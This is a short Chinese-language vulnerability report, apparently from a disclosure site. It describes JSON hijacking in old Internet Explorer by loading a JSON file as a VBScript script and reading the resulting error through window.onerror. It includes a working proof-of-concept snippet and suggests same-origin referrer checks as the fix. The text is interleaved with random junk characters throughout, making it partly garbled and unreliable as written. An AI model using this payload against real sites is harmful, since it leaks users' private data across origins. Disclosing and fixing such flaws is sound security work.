简要描述:
O. d- ]& G8 A6 z% @. S# S& C1 e' G( N6 V( l
由于某些资源容器对数据处理不当导致json劫持漏洞.
& c$ \; B1 P& Q0 s详细说明:0 J5 y$ m) r& J- c7 _, T
由于ie支持vbscript,所以script元素可以指定成vbscript语言:( O+ E, c8 V6 ~. h/ q! i
<script language=vbscript></script>
( t9 Z* P" a) l! J0 a) Z! A* H+ `
) w1 Y( m. c5 ]1 U+ m当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.! l: f7 b: k( i+ ?5 f/ _3 j
漏洞证明:
# b) U; p' Q; X' n4 w$ |<script>& G! W9 n1 n7 o# K- J3 \
window.onerror=function(_){) |3 q) E" o: }3 o1 z2 k
alert(_)
8 ]9 C3 a4 k2 ^ x5 s. j* D" E}
2 P! U& w2 W" Y' V2 I; w</script>- c+ x/ d; _: i
<script language=vbscript src=1.json></script>
) u! U2 O" F6 ?3 E( C3 U ; w: c; k ^) ?7 L7 D
" N4 {0 @7 E" }6 z0 p1.json:
$ @, v: a- ]7 ~# f; S[{"name":"sogili","age":19}]0 e( P/ I' C1 z. O4 R/ z3 n7 t
修复方案:
# n5 a5 ~- ]/ ~9 p* R网站业务对于这个问题可以通过验证referrer是否为同源来防御 |